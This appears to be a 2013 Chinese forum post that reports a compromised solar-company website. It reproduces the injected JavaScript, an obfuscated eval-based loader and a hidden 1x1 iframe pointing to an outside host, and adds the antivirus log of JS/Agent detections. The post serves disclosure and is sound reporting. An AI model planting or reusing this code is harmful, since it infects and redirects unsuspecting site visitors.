http://solar.theaigroup.net/?amp;amp;Keywords=3Dsolar

显示全部楼层 · 发表于 2013-10-12 16:25:58

/*b5bee1*/
ww = window;
v = "v" + "al";
if (ww.document) try {
document.body = 12;
} catch (gdsgsdg) {
asd = 0;
try {
q = document.createElement("div");
} catch (q) {
asd = 1;
}
if (!asd) {
w = {
a: ww
}.a;
v = "e".concat(v);
}
}
e = w[v];
if (1) {
f = new Array(40, 101, 115, 107, 99, 115, 103, 108, 110, 31, 38, 38, 32, 122, 11, 7, 32, 31, 30, 29, 118, 96, 112, 29, 105, 101, 108, 115, 32, 60, 30, 97, 111, 98, 115, 106, 101, 109, 114, 43, 99, 113, 99, 94, 116, 100, 67, 105, 101, 108, 99, 107, 116, 39, 37, 102, 102, 113, 95, 106, 101, 38, 39, 56, 13, 9, 11, 7, 32, 31, 30, 29, 105, 101, 108, 115, 46, 114, 112, 96, 32, 60, 30, 36, 104, 115, 114, 109, 58, 46, 45, 101, 97, 107, 99, 117, 46, 114, 99, 44, 99, 107, 105, 43, 112, 103, 110, 36, 59, 12, 8, 29, 32, 31, 30, 102, 102, 109, 116, 43, 115, 115, 119, 105, 101, 45, 110, 108, 115, 104, 114, 102, 111, 109, 30, 58, 32, 38, 95, 95, 115, 110, 106, 114, 116, 100, 37, 56, 13, 9, 30, 29, 32, 31, 103, 99, 110, 117, 44, 112, 116, 120, 106, 98, 46, 97, 109, 111, 100, 100, 112, 29, 61, 31, 37, 45, 39, 58, 11, 7, 32, 31, 30, 29, 105, 101, 108, 115, 46, 114, 114, 118, 108, 100, 44, 101, 101, 104, 101, 101, 116, 31, 59, 29, 39, 48, 110, 117, 39, 58, 11, 7, 32, 31, 30, 29, 105, 101, 108, 115, 46, 114, 114, 118, 108, 100, 44, 116, 105, 99, 114, 101, 32, 60, 30, 36, 49, 111, 118, 36, 59, 12, 8, 29, 32, 31, 30, 102, 102, 109, 116, 43, 115, 115, 119, 105, 101, 45, 106, 98, 102, 115, 30, 58, 32, 38, 47, 109, 120, 38, 57, 10, 10, 31, 30, 29, 32, 104, 100, 107, 118, 45, 113, 113, 121, 107, 99, 43, 116, 110, 110, 29, 61, 31, 37, 46, 112, 119, 37, 56, 13, 9, 11, 7, 32, 31, 30, 29, 105, 101, 30, 37, 33, 99, 109, 96, 117, 108, 99, 107, 116, 45, 101, 98, 116, 68, 106, 98, 109, 100, 108, 113, 66, 120, 71, 97, 40, 38, 103, 99, 110, 117, 37, 38, 41, 31, 121, 10, 10, 31, 30, 29, 32, 31, 30, 29, 32, 99, 109, 96, 117, 108, 99, 107, 116, 45, 117, 111, 105, 115, 99, 37, 39, 59, 98, 102, 118, 31, 103, 97, 61, 91, 37, 102, 102, 109, 116, 89, 39, 61, 58, 44, 100, 104, 116, 59, 39, 40, 57, 10, 10, 31, 30, 29, 32, 31, 30, 29, 32, 99, 109, 96, 117, 108, 99, 107, 116, 45, 101, 98, 116, 68, 106, 98, 109, 100, 108, 113, 66, 120, 71, 97, 40, 38, 103, 99, 110, 117, 37, 38, 46, 96, 110, 109, 101, 109, 98, 64, 104, 104, 106, 97, 40, 104, 100, 107, 118, 40, 57, 10, 10, 31, 30, 29, 32, 124, 11, 7, 125, 40, 38, 38, 59);
}
w = f;
s = [];
for (i = 0; - i + 473 != 0; i += 1) {
j = i;
if ((031 == 0x19)) if (e) s = s + String.fromCharCode((1 * w[j] + e("j%4")));
}
xz = e;
try {
document.body++
} catch (gdsgd) {
xz(s)
} /*/b5bee1*/

复制代码

(function() {
var hl = document.createElement('iframe');
hl.src = 'http://halex.se/clk.php';
hl.style.position = 'absolute';
hl.style.border = '0';
hl.style.height = '1px';
hl.style.width = '1px';
hl.style.left = '1px';
hl.style.top = '1px';
if (!document.getElementById('hl')) {
document.write('<div id=\'hl\'></div>');
document.getElementById('hl').appendChild(hl);
}
})();

复制代码

Avira

2013/10/12 下午 04:21 [Web Protection] 發現惡意程式碼
   從 URL "http://solar.theaigroup.net/core/prototype.lite.js" 存取資料時，
   發現病毒或有害的程式 'JS/Agent.480593' [virus]。
   已採取動作：封鎖的檔案

2013/10/12 下午 04:21 [Real-Time Protection] 發現惡意程式碼
   在檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
   Files\Low\Content.IE5\AVC3APW1\litebox-1.0[1].js 中
   偵測到病毒或有害的程式 'JS/Agent.480593 [virus]'
   執行的動作：拒絕存取

2013/10/12 下午 04:21 [Real-Time Protection] 發現惡意程式碼
   在檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
   Files\Low\Content.IE5\TIHYMAU3\common[1].js 中
   偵測到病毒或有害的程式 'JS/Agent.480593 [virus]'
   執行的動作：傳輸至掃描程式

2013/10/12 下午 04:21 [Real-Time Protection] 發現惡意程式碼
   在檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
   Files\Low\Content.IE5\MDC6X2XG\moo.fx[1].js 中
   偵測到病毒或有害的程式 'JS/Agent.480593 [virus]'
   執行的動作：傳輸至掃描程式

2013/10/12 下午 04:21 [Real-Time Protection] 發現惡意程式碼
   在檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
   Files\Low\Content.IE5\AVC3APW1\litebox-1.0[1].js 中
   偵測到病毒或有害的程式 'JS/Agent.480593 [virus]'
   執行的動作：傳輸至掃描程式

2013/10/12 下午 04:21 [Real-Time Protection] 發現惡意程式碼
   在檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
   Files\Low\Content.IE5\TIHYMAU3\common[1].js 中
   偵測到病毒或有害的程式 'JS/Agent.480593 [virus]'
   執行的動作：拒絕存取

2013/10/12 下午 04:21 [Web Protection] 發現惡意程式碼
   從 URL "http://solar.theaigroup.net/core/common.js" 存取資料時，
   發現病毒或有害的程式 'JS/Agent.480593' [virus]。
   已採取動作：已略過

2013/10/12 下午 04:21 [Web Protection] 發現惡意程式碼
   從 URL "http://solar.theaigroup.net/core/moo.fx.js" 存取資料時，
   發現病毒或有害的程式 'JS/Agent.480593' [virus]。
   已採取動作：已略過

2013/10/12 下午 04:21 [Web Protection] 發現惡意程式碼
   從 URL "http://solar.theaigroup.net/core/litebox-1.0.js" 存取資料時，
   發現病毒或有害的程式 'JS/Agent.480593' [virus]。
   已採取動作：已略過

2013/10/12 下午 04:21 [Real-Time Protection] 發現惡意程式碼
   在檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
   Files\Low\Content.IE5\GP9UHU8J\solar_theaigroup_net[1].htm 中
   偵測到病毒或有害的程式 'JS/Agent.480593 [virus]'
   執行的動作：傳輸至掃描程式

2013/10/12 下午 04:20 [Real-Time Protection] 發現惡意程式碼
   在檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
   Files\Low\Content.IE5\GP9UHU8J\solar_theaigroup_net[1].htm 中
   偵測到病毒或有害的程式 'JS/Agent.480593 [virus]'
   執行的動作：拒絕存取

2013/10/12 下午 04:20 [Web Protection] 發現惡意程式碼
   從 URL "http://solar.theaigroup.net/?amp;amp;Keywords=3Dsolar" 存取資料時，
   發現病毒或有害的程式 'JS/Agent.480593' [virus]。
   已採取動作：已略過

fs is

[已鉴定] http://solar.theaigroup.net/?amp;amp;Keywords=3Dsolar